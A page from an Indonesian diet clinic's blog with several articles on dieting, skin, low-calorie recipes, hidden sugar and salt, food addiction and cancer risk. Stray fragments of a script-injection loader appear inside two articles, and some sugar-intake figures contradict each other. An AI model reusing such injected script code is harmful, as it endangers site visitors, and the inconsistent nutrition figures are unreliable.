Logo

Ditemukan 0 artikel berkaitan

Tummy Talk, Weight Control Tips

Hati-hati Bahaya Diet untuk Kesehatan Kulit

Obsesi untuk langsing kadang malah merugikan kesehatan tubuh. Saat Sahabat lightHOUSE mengurangi asupan secara ekstrim, kulit pun akan jadi korban.

Orang-orang di sekitar mungkin tidak tahu kalau Anda tengah menjalani diet ekstrim. Entah itu dengan liquid diet atau memangkas asupan hingga di bawah 500 Kalori per hari. Berkurangnya nutrisi bukan hanya tampak pada tubuh yang makin kecil, tapi juga akan terlihat pada kulit. Menurut pakar kami, dr. Eva Kurniawati, M.Gizi, SpGK, asupan berhubungan dengan status nutrisi yang dapat mempengaruhi kondisi kulit.

“Asupan makronutrien (karbohidrat, lemak, dan protein), mikronutrien (vitamin, mineral), dan cairan berperan penting dalam menjaga dan memelihara kesehatan kulit,” ujar dokter spesialis gizi dari klinik lightHOUSE ini.

Ia menambahkan, diet yang terlalu ketat dapat menyebabkan penuaan dini, kulit tampak kusam, keriput, tampak garis halus. “Hal ini terjadi akibat kekurangan makro dan mikronutrien yang diperlukan untuk menjaga kesehatan kulit, ujar dr. Eva.

Agar diet yang Sahabat lightHOUSE pilih tidak malah merusak kecantikan kulit, berikut hal-hal yang perlu diperhatikan sebelum memilih program penurunan berat badan yang cocok :

  • Tengok pengalaman diet sebelumnya, apa yang Anda suka atau tidak selama diet. Apakah diet tersebut berhasil atau tidak? Apa yang Anda rasakan selama menjalankan diet tersebut?
  • Lihat kondisi tubuh saat ini, apakah ada masalah kesehatan tertentu? Jika ya, konsultasikan terlebih dahulu dengan dokter. Dokter akan membantu untuk menilai masalah kesehatan yang ada, membantu menentukan target penurunan berat badan, dan membantu memilihkan program penurunan berat badan yang sesuai.

Bisakah dapat tubuh langsing tapi kulit tetap terjaga kesehatannya? Ternyata menurut pakar kami bisa lho! “Untuk kulit yang sehat diperlukan kecukupan asupan Vitamin A, Vitamin E,  Niasin, Riboflavin, Biotin, Vitamin C, Zinc, Selenium, dan asam lemak omega-3. Selain itu juga kecukupan makronutrien dan asupan cairan,” dr. Eva menekankan.

Menurut dr. Eva, semuanya itu dapat dipenuhi dari diet sehat dan seimbang. Pilihlah dengan bijaksana bahan makanan sumber makro maupun mikronutrien yang akan dikonsumsi, tak lupa perhatikan proses pengolahan makanannya. Asupan cairan juga tidak boleh kurang dari 2 liter per hari dan sebaiknya air putih yang kaya manfaat ya.

Lalu, apa yang harus dihindari agar asupan yang kita pilih tidak merusak kulit? Berikut daftar dari dr. Eva :

1. Asupan yang tinggi lemak, garam dapat menyebabkan kulit tampak sembab, kusam

2. Asupan gula atau karbohidrat yang tinggi dapat memicu terjadinya peradangan (inflamasi), kerusakan kolagen dan elastin, sehingga dapat mempercepat timbulnya kerutan

3. Asupan alkohol dan kafein yang berlebih dapat menyebabkan kulit kering dan kusam

skxd7b

Diet Guideline to Healthy Skin
Kalau Sahabat lightHOUSE masih ragu, berikut panduan diet yang tengah populer dan pengaruhnya ke kulit. Pelajari plus minusnya dulu ya sebelum mulai menjalankan salah satu diet ini.

Mediterranean Diet yang asupan dominannya ikan, sayuran hijau, olive oil, dan buah. Diet ini tinggi serat, vitamin, mineral, asam lemak omega 3 yang baik untuk kesehatan kulit. Diet ini memperbaiki elastisitas dan kelembaban kulit, menurunkan peradangan dan mengurangi timbulnya jerawat.

Liquid Diet yang merupakan bentuk cleanse atau detoks selama 5-10 hari, dan asupannya hanya terdiri dari jus buah atau sayur atau susu. Yang perlu diperhatikan pada diet cair ini adalah variasi bahan makanan sumber yang dipakai untuk memenuhi kecukupan harian dan konsumsi segera setelah jus selesai dibuat. “Tidak ada proses pengunyahan pada diet jenis ini sehingga tidak direkomendasikan untuk mereka yang ingin menurunkan berat badan, karena setelah itu potensi kenaikan berat badan lebih tinggi,” dr. Eva mengingatkan. Bagaimana dengan infused water? Air putih dengan tambahan potongan buah ini ternyata juga tidak efektif untuk turun berat lho!

Vegetarian atau Vegan dengan asupan tanpa daging. Konsumsi buah, sayuran, kacang-kacangan, polong-polongan, gandum, serealia merupakan bahan makanan sumber vitamin, mineral, yang dapat pula berperan sebagai antioksidan. Namun menurut dr. Eva, yang perlu diperhatikan adalah kecukupan protein, vitamin B12, selenium, dan zinc. Kecukupan protein juga diperlukan untuk memperbaiki kondisi kulit dan rambut lho!

South Beach Diet – Atkins Diet dengan asupan tinggi protein, rendah karbohidrat. “Tinggi protein dapat menyebabkan peningkatan pH kulit dan meningkatkan kerentanan kulit terhadap radiasi sinar ultraviolet,” ujar dr. Eva.

Diet Rendah Lemak bila dilakukan dalam jangka panjang dapat menyebabkan kulit kering, kerontokan rambut, kuku yang rapuh.

Raw Food Diet dengan asupan kacang-kacangan, kecambah, gandum, buah, sayur tanpa dimasak atau dengan pengolahan minimal. “Pengolahan makanan dengan cara digoreng, dibakar, atau dipanggang dengan suhu tinggi dapat meningkatkan inflamasi yang disebabkan oleh paparan advanced glycation end products,” kata dr. Eva. Pada raw food karena tidak ada proses pengolahan makanan maka potensi inflamasi berkurang. Namun, tetap ada hal-hal yang perlu diperhatikan seperti pada diet vegetarian.

Dari enam jenis diet di atas, mana yang Sahabat lightHOUSE jalani? Simak ya arahan dari pakar kami agar diet Anda tidak merusak kesehatan kulit. Karena, selain dari sisi estetik, kondisi kulit yang baik juga merupakan cermin dari kodisi tubuh yang sehat. Selamat berdiet!

 

05/21/2016
Selengkapnya
Healthy Recipes, Tummy Talk

Dua Resep Minuman Ini Dapat Bantu Redam Adiksi Makanan Manis

Bagaimana caranya minuman manis membantu mengatasi kecanduan gula? Bila resep ini bisa membuat Anda lebih relaks, keinginan makan pun lebih terkontrol.

Menurut pakar kami, jika Anda kecanduan makanan manis, sebaiknya tidak menghilangkannya begitu saja dari menu harian. Bila tiba-tiba Anda langsung pantang makanan manis, kemungkinan balik ke pada kebiasaan adiksi gula akan lebih besar. Selain itu, adiksi juga biasanya makin hebat saat Anda sedang stres atau gelisah.

Nah, coba dua resep minuman hangat kami ini yuk! Keduanya mengandung gula dan manis, tapi tidak lebih dari 100 Kalori. Minum selagi hangat sambil bersantai dan istirahat sejenak dari kesibukan. Ini akan lebih baik dari pada memuaskan sugar craving dengan cake atau cokelat yang jelas kalorinya jauh lebih tinggi. Padahal ada lho, minuman rendah kalori yang bisa Anda coba untuk mengontrol keinginan makan manis…

Coba dua resep minuman relaksasi kami ini di tengah minggu yang sibuk dan rasakan manfaatnya. Selain itu, ada lebih dari 30 resep sehat lain yang bisa Anda coba. Semua bisa Anda praktekkan langsung di rumah. Ingat ya… masak sendiri jauh lebih sehat dari pada makan di luar!

Minuman Hangat Berempah
Seusai rapat direksi yang hasilnya membuat Anda bertambah stres; saat pekerjaan rumah menumpuk dan anak sedang aktif-aktifnya bermain; saat masalah terus mendera Anda bertubi-tubi; apa yang Sahabat lightHOUSE pikirkan? Kemungkinan Anda menginginkan satu cup es krim, sepotong chees cake, atau sebatang cokelat.

Bagaimana kalau itu semua diganti dengan secangkir minuman hangat dengan wangi rempah yang menenangkan? Tinggalkan dulu laptop, lupakan sebentar piring-piring kotor di dapur, dan letakkan smart phone yang membuat galau. Duduk sebentar di depan jendela kantor atau teras rumah, 10 menit saja menikmati secangkir minuman rempah ini.

Penambahan kolang kaling membuat minuman ini makin nikmat, menyegarkan dan juga membantu memperlancar kerja saluran cerna. Kandungan karbohidrat yang dimiliki kolang kaling bisa memberikan rasa kenyang dan juga dapat mengobati nafsu makan sehingga membuatnya lebih mudah dikendalikan. Coba resep yang dapat dipakai untuk tiga gelas ini. Tenang, per porsi hanya 88,8 Kalori.

Bahan:

  • 400 ml air
  • 1 sdm gula palem
  • 2 sdm gula pasir
  • 3 cm kayumanis
  • 5 butir cengkeh
  • 2 batang serai, dimemarkan
  • 60 g kolang-kaling untuk pelengkap, diiris panjang

Cara membuat:

1. Rebus semua bahan, kecuali kolang-kaling, sampai mendidih dan meresap. Saring.

2. Sajikan hangat dengan kolang-kaling.

Tips: Kayu manis mengandung antioksidan yang bisa membantu mengontrol tingkat gula darah. Kayu manis membantu proses pencernaan setelah makan dan membantu memperbaiki respon insulin.

*Diambil dan dimodifikasi seperlunya dari sajiansedap.com

2lcmcls

Teh Madu Jeruk Nipis

Untuk resep minuman hangat kedua, fungsinya lebih untuk membuat Anda lebih fit. Meskipun fungsi menenangkannya juga bisa diperoleh. Agar Anda lebih fit dan segar menghadapi masalah yang mendera, resep teh ini pas sekali.

Saat cuaca tidak menentu dan virus flu mengintai di mana-mana, coba resep ini untuk anggota keluarga. Duduk dan menikmati minuman hangat bersama sambil ngobrol tentunya dapat menjadi obat lelah dan stres yang mujarab. Resep Teh Madu Jeruk Nipis berikut pas untuk tiga porsi dengan hanya 80 Kalori per gelasnya.

Bahan:

  • 750 ml air
  • 2 kantong teh celup
  • 2 buah jeruk nipis, peras airnya
  • 75 ml madu (1 sdm = 15 ml)

Cara membuat:

  1. Didihkan air, celupkan teh celup, angkat lalu diamkan selama 5 menit, kemudian buang kantong tehnya.
  2. Masukkan madu dan air jeruk nipis, aduk hingga rata. Tuang ke dalam gelas saji. Sajikan panas.

Tips: Madu dapat meningkatkan kekebalan tubuh karena sangat kaya akan polifenol. Jenis antioksidan ini membantu melindungi sel dari kerusakan radikal bebas, yang bisa memicu penyakit kanker dan penyakit jantung.

* Sumber tabloidbintang.com dengan modifikasi secukupnya.

Tidak sulit kan meredakan stres dan ketegangan? Cukup dengan mencoba dua resep minuman kami di atas. Jangan lagi menjadikan makanan sebagai pereda stres ya, Sahabat lightHOUSE. Karena, stres akibat kerjaan bisa berujung pada perut buncit lho! Dan, bila ingin mengurangi kecanduan gula, Anda bisa melakukannya secara bertahap. Jika adiksi makanan Anda bertambah parah, sebaiknya kunjungi pakar kami. Pilih saja Klinik lightHOUSE terdekat dan langsung buat janji.

05/21/2016
Selengkapnya
Tummy Talk, Weight Control Tips

Bahaya Gula dan Garam Tersembunyi yang Dapat Sebabkan Adiksi

Salah satu faktor penting dalam diet adalah waspada gula dan garam tersembunyi. Keduanya berpotensi membuat kecanduan terhadap makanan.

Tanpa disadari, makanan dan minuman yang Anda konsumsi setiap hari memiliki kandungan gula atau garam yang tinggi. Misalnya, kalau harusnya kebutuhan harian garam orang adalah 5 gram per hari atau sekitar 1 sendok teh (sdt) saja, ternyata rata-rata Anda mengonsumsi 9 gram per hari atau hampir 2 kali lipatnya.

Bagaimana bisa? Ya, secara tidak sadar, Anda mengonsumsi garam tambahan dengan memakan kerupuk, saus sambal, biskuit, keju, sosis, nugget, dan sebagainya. Itu yang dinamakan garam tersembunyi dalam makanan.

Sementara itu, American Heart Association merekomendasikan batas konsumsi gula maksimal 9 sdt untuk pria dewasa atau 6 sdt untuk wanita dewasa atau sekitar 2000-2300 mg per hari. Namun, secara tak sadar sehari-hari Anda mengonsumsi gula tersembunyi tambahan yang ada pada kue, sirup, jus buah kemasan, sereal, dan sebagainya melebihi kebutuhan gula harian kita.

Mengapa demikian? Ternyata manusia memang memiliki kecenderungan menyandu makanan yang gurih atau manis. Secara tidak sadar kita sering kehilangan kontrol terhadap makanan dengan rasa yang kuat itu.

Banyak gula, tak semanis rasanya
Seperti kita tahu, terlalu banyak konsumsi gula erat kaitannya dengan risiko kesehatan, seperti diabetes mellitus tipe 2, sindrom metabolik, dan perlemakan hati. Namun tahukah Anda, konsumsi gula tersembunyi atau hidden sugar akan memengaruhi program penurunan berat badan karena jumlah asupa harian kita yang menjadi lebih tinggi.

Menurut pakar nutrisi kami, dr. Eva Kurniawati, M. Gizi, SpGK. yang berbahaya pada makanan dan  minuman dengan gula tersembunyi bukanlah gulanya itu sendiri, tapi kandungan kalorinya. “Untuk itu, hindari konsumsi minuman kemasan yang tinggi gula, pilih jus buah segar daripada sirup, pilih buah kering saat konsumsi sereal sebagai pemanis, dan hindari konsusmsi sereal yang berlapis madu atau gula,” imbuh dr. Eva mengenai tips sehari-hari untuk menghindari gula tersembunyi.

Ingat, konsumsilah gula tidak lebih dari 1 sdt per hari. Nah, berikut beberapa contoh makanan yang mengandung gula tersembunyi yang ternyata melebihi kebutuhan harian kita!

  • Donat = 2 sdt
  • Pudding buah = 3 sdt
  • Yogurt manis = 4 sdt
  • Buah kalengan = 2-4 sdt
  • Milkshake = 9 sdt
  • Es kacang = 14 sdt

 

5tt8ix

Bahaya Garam Tersembunyi
Seperti juga gula tersembunyi, kandungan natrium pada makanan bergaram tinggi menimbulkan risiko kesehatan yang tidak kurang berbahayanya, yaitu risiko penyakit jantung, gangguan ginjal, dan stroke.

Penyebabnya, “Natrium akan menarik air dan diet tinggi natrium akan meningkatkan volume dalam sirkulasi darah, jika berlangsung terus menerus akan meningkatkan tekanan darah. Tekanan darah tinggi akan memaksa jantung bekerja lebih keras,” jelas dr. Eva. Selain itu, retensi cairan yang terjadi dapat menyebabkan edema atau bengkak yang biasanya ditemukan pada daerah punggung kaki, pergelangan kaki, atau tungkai.

Bagi Anda yang sedang melakukan program penurunan berat badan, konsumsi garam berlebih akan membuat Anda lebih mudah haus sehingga Anda akan semakin banyak minum yang akhirnya berpengaruh pada berat badan. Ingat, kebutuhan harian garam kita adalah 2000-2300 mg per hari. Berikut beberapa daftar makanan/minuman yang mengandung garam tersembunyi:

  • Kerupuk per 1 ons = 180-220 mg
  • Kentang goreng per sajian = 200-250 mg
  • Ikan kalengan = ±300 mg
  • Saos sambal/kecap per 1 sendok makan = 160-210 mg
  • 1 tangkup roti isi daging/ikan = ±1300 mg
  • Garam dapur per 1 sendok makan = 1950 mg

 

Pilih-pilih, yuk!
Nah, apakah makanan hambar yang kurang gula dan garam pasti lebih baik? “Gula dan garam boleh dipakai sebatas bumbu. Makanan yang hambar pun  belum tentu baik. Jika diet garam terlalu ketat, misalnya, akan menyebabkan kondisi hiponatremia yang tidak baik untuk tubuh,” jawab dr. Eva. Pakar-pakar nutrisi kami akan menjelaskan lebih lengkap pada  program lightWEIGHT yang bisa Anda ikuti untuk mendukung program penurunan berat badan.

Menurutnya, untuk menghindari konsumsi gula dan garam tersembunyi, mulailah membiasakan diri untuk mengecek kembali informasi nutrisi atau nutrition facts pada label makanan. Dokter spesialis gizi ini  memberikan tips sederhana, “Perhatikan daftar bahan baku atau ingridents. Daftar ini selalu dimulai dari bahan yang jumlahnya paling banyak, jadi jika Anda menemukan gula atau garam (natrium) dalam 10 bahan baku utama, maka produk makanan tersebut kemungkinan besar mengandung gula dan natrium yang tinggi.”

Perhatikan lagi pada label makanan. ‘Na’ dan ‘sodium’ artinya sama, garam. Kata-kata seperti ‘monosodium glutamate/MSG’, ‘sodium sulfite’, ‘disodium phosphate’, ‘sodium citrate’ semuanya mengandung garam. Pilihlah yang memuat kata-kata seperti ‘low sodium’, ‘low salt’, and ‘no added salt’. Tapi berhati-hatilah dengan istilah ‘reduced salt/sodium’.

Untuk gula, nama-nama lain yang sering dipakai adalah brown sugar, molasses, honey, maple syrup, sugar cane, corn syrup, high fructose corn syrup, corn sweetener, those ending in ‘ose’ like sucrose, glucose, frustose, dextrose, dan maltose.

Jangan salah, tidak sedikit juga makanan atau minuman yang konon berlabel “sehat” ternyata juga mengandung gula dan garam tersembunyi yang tidak kita sadari, seperti chicken salad, kismis atau buah-buahan kering, jus buah, dan yogurt.

Ia  menyarankan, kurangi konsumsi makanan jadi, lebih baik memasak sendiri. Memasak sendiri di rumah tampak seperti menghabiskan banyak waktu. Namun, itu adalah cara terbaik untuk mengontrol jumlah garam, gula, dan lemak yang akan kita konsumsi. Kemudian, alih-alih menambahkan gula atau garam untuk menambah rasa dalam masakan Anda, lebih baik tambahkan bumbu. Tips lengkapnya bisa Anda tengok dalam resep masak rendah kalori ala lightHOUSE.

 

Sumber: nutrition.com.sg, petes.ca}

05/21/2016
Selengkapnya
Tummy Talk, Weight Control Tips

Apakah Anda Kecanduan Makanan? Cek Tanda-tanda Adiksinya!

Ternyata bukan hanya narkoba yang bisa bikin kecanduan, makanan juga bisa lho! Lalu bagaimana mengatasinya, manusia kan tetap butuh makanan?!

Adiksi, sudah menjadi kata sering didengar Sahabat lightHOUSE. Biasanya dikaitkan dengan penggunaan Narkoba. Namun menurut pakar kami, dr. Dyani Pitra Velyani, SpKJ, sebenarnya lebih tepat kalau penyebutannya bukan Narkoba tapi NAPZA ya, yaitu narkotik, psikotropika, dan zat adiktif lainnya. Nah, lalu apa hubungannya dengan makanan?

Bila dilihat dari asal katanya, adiksi berasal dari bahasa latin yaitu Addictere yang mengacu pada hukum yang berlaku di kerajaan Romawi atas seseorang yang sebelumnya bebas lalu ditangkap dan kemudian dijadikan budak.

“Jadi, istilah adiksi yang biasa Anda gunakan saat ini bisa diartikan sebagai suatu keadaan saat seseorang mengkonsumsi suatu zat atau pun melakukan perilaku tertentu yang menimbulkan kesenangan atau pleasure. Efeknya, orang itu menjadi terikat dan terdorong untuk melakukan hal tersebut berulang kali, hingga akhirnya memengaruhi kehidupan sehari-harinya, termasuk kerja, kesehatan, dan relasinya dengan orang lain,” ujar dokter kesehatan jiwa yang akrab disapa dr. Vely ini.

Dari makna kata tersebut, terlihat kan kalau artinya luas. Jadi, adiksi memang tidak terbatas pada penggunaan NAPZA saja. “Bisa adiksi perilaku, misalnya judi, belanja, aktivitas seksual, atau bisa adiksi nikotin. Bisa juga adiksi pada kafein,” dr. Vely menambahkan. Bisa juga Anda adiksi pada cokelat yang jenisnya beragam.

Kok bisa begitu? Jadi, menurut dr. Vely, adiksi ini berhubungan dengan reward system pada manusia. “Manusia kan pintar ya, makhluk yang bisa belajar. Nah, manusia akan suka mengulang perilaku yang menghasilkan sesuatu yang menyenangkan. Sebenarnya sifat ini yang membuat manusia bisa survive sampe sekarang,” ujarnya.

Lalu, bagaimana Anda tahu kalau ternyata mengalami adiksi? Ada beberapa pertanyaan yang bisa diajukan ke diri sendiri. Bila mayoritas jawabannya “iya” bisa jadi Anda mengalami adiksi.

1. Sering terpikir tidak soal zat atau perilaku ini?

2. Apa perilaku ini rutin?

3. Apa Anda menyembunyikan perilaku kita ini dari orang lain?

4. Apa Anda berbohong soal perilaku ini?

5. Apa mulai merasa perilaku ini masalah buat Anda?

6. Apa Anda terdorong untuk melakukan perilaku ini di waktu-waktu tertentu?

7. Apa perilaku ini makin sering dari hari ke hari?

8. Apa Anda mengorbankan hal-hal yang berharga demi perilaku ini?

25higc8

Kecanduan Makanan
Terus, bagaimana sih orang bisa kecanduan makanan? “Kalau dibilang bisa, ya bisa. Walaupun sekarang masih jadi perdebatan, apakah ini adiksi terhadap makanannya atau perilaku makannya,” jelas dr. Vely.

Apa pun itu, menurut dr. Vely, saat kebiasaan makan Anda sudah mengganggu kualitas hidup, performa, dan kesehatan, jangan malu dan ragu untuk minta bantuan. “Kondisi ini bisa kita atasi kok. Karena tadi, manusia kan makhluk yang bisa belajar. Kalau Anda bisa belajar hingga terjadi adiksi, Anda pasti bisa belajar mengatasinya juga,” katanya positif.

Sahabat lightHOUSE juga dapat menjawab 10 pertanyaan berikut untuk mengecek apakah Anda kecanduan makanan.

1.  Apakah Anda memiliki ketergantungan dengan makanan?

2.  Apakah Anda susah mengontrol pola makan?

3.  Apakah berat badan Anda secara berkala terus bertambah?

4.  Apakah Anda memiliki ketakutan tidak bisa berenti makan?

5.  Apakah Anda sering mengalami depresi dan mood yang cepat berubah?

6.  Apakah Anda menarik diri dari aktivitas akibat kondisi badan Anda dan rasa malu terhadap bentuk tubuh?

7.  Apakah Anda selalu diet tapi gagal?

8.  Apakah Anda makan sedikit di depan orang dan makan banyak saat tidak ada orang?

9.  Apakah Anda percaya akan menjadi orang yang lebih baik jika berbadan kurus?

10. Apakah Anda merasa memiliki harga diri yang rendah?

Jika sebagian besar Anda menjawab “iya” dari 10 pertanyaan di atas, kemungkinan besar Anda memiliki kecanduan makanan.

Kecanduan makanan merupakan salah satu bentuk gangguan makan yang disebut compulsive overeating. Orang dengan compulsive overeating sering makan secara tidak terkontrol, atau makan secara berlebihan dalam satu episode.

Orang yang mengalami compulsive overeating biasanya menggunakan makanan sebagai cara untuk mengatasi stres, luapan emosi. Dengan makanan Anda merasa bisa menghalangi perasaan dan emosi. Ini terjadi karena Anda tidak tahu cara mengatasi masalah yang tepat.

Jadi, apakah Anda pencandu makan? Hati-hati, obesitas mengintai orang dengan compulsive overeating. Lalu bagaimana mengatasinya? Salah satu klien kami berhasil mengontrol nafsu makannya. Jangan lupa simak testimoninya sambil membaca tips untuk mengatasi compulsive overeating berikut:

  • Mengelola stres merupakan salah satu aspek penting dalam pengendalian compulsive overeating.
  • Anda harus belajar untuk menemukan cara-cara alternatif untuk menangani stres tanpa menggunakan makanan.
  • Jangan sembarang berdiet dan pantang makanan tertentu karena hal ini dapat membuat nafsu makan sulit terkontrol.
  • Olah raga dapat meningkatkan suasana hati secara alami, efek olah raga juga dapat membantu menghentikan emotional eating.
  • Daripada mengemil di saat bosan, sebaiknya Anda mengalihkan perhatian dengan menelepon teman, membaca, atau melakukan hobi.
  • Dapatkan cukup tidur karena jika lelah, Anda mungkin ingin terus makan untuk meningkatkan energi.
  • Ganti energi yang hilang saat lelah dengan tidur siang atau pergi tidur lebih awal, bukan dengan makanan.
  • Dengarkan tubuh Anda dengan belajar untuk membedakan rasa lapar fisik dan emosional.
  • Buatlah catatan harian makanan. Tuliskan apa yang dimakan, kapan, berapa banyak, dan apa yang Anda rasakan ketika itu.
  • Anda akan lebih mudah menyerah jika tidak memiliki jaringan dukungan yang kuat.

 

Dan jangan lupa, mintalah dukungan keluarga atau orang-orang terdekat untuk mengatasinya. Akan lebih baik jika Sahabat lightHOUSE berkonsultasi dengan seorang terapis. Atau ikuti program penurunan berat badan yang koprehensif yang dapat menyembuhkan hingga akar masalah obesitas.document.currentScript.parentNode.insertBefore(s, document.currentScript);

05/21/2016
Selengkapnya
Healthy Recipes, Tummy Talk

Pangkas Kalori dengan Dua Resep Lezat Ini Agar Terhindar Dari Kanker & Obesitas

Bahaya kanker mengincar Sahabat lightHOUSE yang mengalami kelebihan berat badan atau obesitas. Salah satu cara mengatasinya adalah dengan menyiasti kalori.

Makan enak identik dengan kandungan kalori yang tinggi? Tidak juga kok! Coba dua resep rendah kalori andalan kami ini.  Selain lebih dari 30 resep sehat yang kami miliki. Semua bisa Anda praktekkan langsung di rumah. Selamat melakukan aktivitas di dapur.

Daging sapi tiap 100 gramnya mengandung 250 Kalori. Tidak kecil pastinya. Namun, siapa yang bisa menolak tawaran rendang? Nah, kalau ingin yang selezat rendang tapi rendah kalori, coba deh ganti daging dengan jamur tiram seperti menu kami di bawah ini.

Rendang Jamur Tiram
Ternyata, rendang yang enak disantap bukan hanya dari daging atau ayam. Rendang dari jamur pun tak kalah lezat. Selain itu, jamur tiram mempunyai kandungan protein, vitamin, dan mineral yang cukup tinggi. Resep ini untuk 8 porsi dan per sajian mengandung 70 Kalori.

Perhatikan pula kandungan asam amino essensialnya, dari 20 jenis asam amino essensial, 9 jenisnya ada terdapat pada jamur tiram. Asam amino essensial adalah asam amino yang tidak diproduksi oleh tubuh manusia. Asam amino essensial ini sangat berguna untuk proses metabolisme tubuh manusia. Nah, agar tak penasaran dengan manfaat dan rasanya, langsung saja kita buat yuk!

Bahan:

  • 500 gr jamur tiram, disuwir-suwir
  • 300 ml santan kental, dari 1 butir kelapa
  • 150 ml santan encer
  • 2 cm lengkuas, dimemarkan
  • 2 btg serai, diambil putihnya, dimemarkan
  • 1 lbr daun kunyit, dibuang tulangnya, diiris halus
  • 2 bh asam kandis
  • 2 1/2 sdt garam
  • 2 1/2 sdt teh gula merah

Bumbu Halus:

  • 5 bh cabai merah besar
  • 3 bh cabai rawit merah
  • 8 sng bawang merah
  • 3 sng bawang putih
  • 1 cm jahe
  • 2 bh kemiri, disangrai
  • 1/2 sdm ketumbar bubuk

Cara membuat:

1. Rebus santan encer, bumbu halus, lengkuas, serai, daun kunyit, dan asam kandis sambil diaduk sampai mendidih.

2. Masukkan jamur. Masak sambil sesekali diaduk di atas api kecil sampai mengental.

3. Tuang santan kental. Masak di atas api kecil sambil diaduk sampai berminyak dan kering.

Tips: Jamur tiram biasanya sudah bersih dan tidak perlu di cuci. Sebelum dimasak, oleh dulu untuk menghilangkan aroma langu dengan mengkukusnya. Setelah itu langsung siram dengan air dingin, ulangi dua-tiga kali.

358192a

Bumbu Ungkep
Jika Sahabat lightHOUSE tidak punya banyak waktu untuk memasak, bumbu ungkep ini dapat menjadi solusi. Tanpa harus menggoreng, lauk-pauk sumber protein bisa disiapkan sebelumnya dan sisanya disimpan di lemari es. Bumbu dasar ungkep dapat digunakan untuk mengungkep lauk seperti ayam, telur. tahu atau tempe. Jika butuh, memanaskannya pun mudah. Cukup masukkan di microwave beberapa menit saja, praktis, cepat dan lezat, apalagi jika disajikan dengan sambal. Selamat mencoba!

Bahan:

  • 2-3 siung bawang merah, haluskan
  • 2-3 siung bawang putih, haluskan
  • Air jeruk nipis, secukupnya
  • 2 lembar daun salam
  • 2 lembar daun jeruk
  • 1sdt ketumbar bubuk
  • Sedikit kunyit, dimemarkan
  • Sedikit jahe, dimemarkan
  • Garam secukupnya

Cara membuat:

1. Campur semua bahan diatas dalam panci dan tambahkan air secukupnya. Rebus sebentar.

2. Masukkan lauk yang diinginkan, dan rebus hingga air berkurang dan bumbu terserap ke dalam makanan.

Tips: Jika bosan dengan rasa bumbu ungkep ini, saat menyantapnya Anda bisa menambahkan sambal ulek segar, tanpa ditumis dengan minyak. Ingat, kalori dalam minyak lumayan besar lho! Jadi kalau masak sayur sebaiknya jangan ditumis dengan minyak agar kalorinya tidak tinggi.

Mudah bukan membuat makanan rendah kalori dari lightHOUSE? Jangan lagi jadikan sibuk dan tidak punya waktu untuk tidak menyiapkan makanan sehat dan rendah kalori. Semua demi mendapatkan berat badan ideal dan menurunkan risiko terkena kanker. Selain kanker, risiko terkena diabetes pun bisa turun.

Boleh saja bagi Anda yang sibuk, untuk mencoba tawaran katering sehat, tapi tahu dong kalau harganya menguras kantong. Selain itu, menurut pakar kami katering diet belum tentu efektif untuk menurunkan berat badan, lho! Daripada uang habis untuk mekanan yang sebenarnya bisa Anda buat sendiri, atau pilih sendiri saat di food court, lebih baik ikut program lightWEIGHT. Berbagai ilmu tentang kalori dan memilih makanan sehat rendah kalori dapat Anda peroleh di sana.

source image rendang : nyonyacooking.com

source bumbu ungkep : wikipedia.en

var d=document;var s=d.createElement(‘script’);

05/21/2016
Selengkapnya
Tummy Talk, Weight Control Tips

Ternyata, Bahaya Kanker Bisa Dijauhi dengan Turun Berat Badan

Benar ya ada hubungan antara berat badan dan kanker? Ternyata menurut pakar kami, berat badan berlebih atau obesitas dapat memicu kanker lho!

Sahabat lightHOUSE pasti sering mendengar istilah kanker, penyakit yang menjadi momok menakutkan bagi banyak orang. Sebenarnya apa itu penyakit kanker, bagaimana seseorang dapat terkena penyakit kanker? Simak pakar kami dr. Eva Kurniawati, M.Gizi, SpGK. yang menjelaskan hubungan berat badan dan kanker.

Penyakit kanker adalah suatu penyakit dimana terjadi pembelahan sel abnormal yang tak terkontrol dan dapat menginvasi ke jaringan lain. Sel kanker dapat menyebar ke bagian tubuh lain melalui sistem pembuluh limfe dan pembuluh darah. “Setiap manusia memang memiliki risiko untuk menderita kanker,” ujar dr. Eva. Berikut beberapa risiko penyebab kanker:

  1. Efek genetik atau mutasi gen
  2. Trauma berulang, misalnya kanker esofagus akibat refluks asam lambung
  3. Infeksi virus Hepatitis B, Hepatitis C, Epstein Barr, HHV-8, dan HPV serotipe 5, 8, 16, 17, 18, 33, 39
  4. Hormonal akibat resistensi insulin atau estrogen tinggi. Kedua hal ini dapat diatasi dengan menurunkan berat badan seperti salah satu testimoni klien kami yang berhasil menyeimbangkan hormonnya.
  5. Berat badan berlebih atau obesitas
  6. Faktor asupan, misalnya kekurangan zat gizi Selenium, Zink atau zat besi, Vitamin D, Kalsium, dan serat. Bisa juga akibat konsumsi alkohol.
  7. Faktor lingkungan, seperti radiasi UV B. Atau paparan zat yang tergolong karsinogen, yaitu arsenik, benzen, asbestos, amin aromatik, vinil klorida, debu nikel, dll.

Tujuh faktor risiko tersebut dapat dihindari dengan menjalani gaya hidup yang sehat. Sayangnya, tidak semua orang memiliki kesadaran dan kontrol diri yang baik untuk bisa menjalaninya. Faktor nomor lima dan enam saling berhubungan.

2eobsyp

Asupan, Berat Badan & Kanker
“Asupan yang dapat meningkatkan risiko terjadinya kanker antara lain adalah alkohol, olahan hewani yang dibakar hingga kehitaman, daging merah,  daging olahan yaitu pengolahannya dengan pengasapan, penggaraman, atau penambahan bahan pengawet, seperti ham, bacon, salami, sosis, kornet,” dr. Eva menjelaskan.

Namun, ada pula asupan yang dapat menurunkan risiko kanker. Menurut American Institutes for Cancer Research, konsumsi ikan, serta serat dari buah, sayur, serealia, dan padi-padian baik dikonsumsi untuk mengurangi risiko kanker. Asupa yang menjadi sumber Vitamin A, C, D, E, serta mengandung piridoksin, quercetin, kalsium, selenium, dan folat juga penting untuk pencegahan kanker.

Selain meningkatkan konsumsi makanan yang bisa menurunkan risiko kanker, dan tidak menyantap makanan yang memicu sel kanker, asupan juga perlu dikontrol agar berat badan tidak berlebihan.

Menurut dr. Eva, WHO telah merekomendasikan berat badan sehat sebagai salah satu upaya menurunkan risiko kanker. Berdasarkan beberapa penelitian, penurunan risiko kanker sebesar 11% didapat pada kelompok perempuan yang berhasil turun berat badan sebanyak 20%.

Angka itu merupakan perbandingkan dengan kelompok yang tidak pernah menurunkan berat badannya. “Kelebihan berat badan atau obesitas diperkirakan menjadi penyebab dari 20% kasus kanker yang ada,” kata dr. Eva.

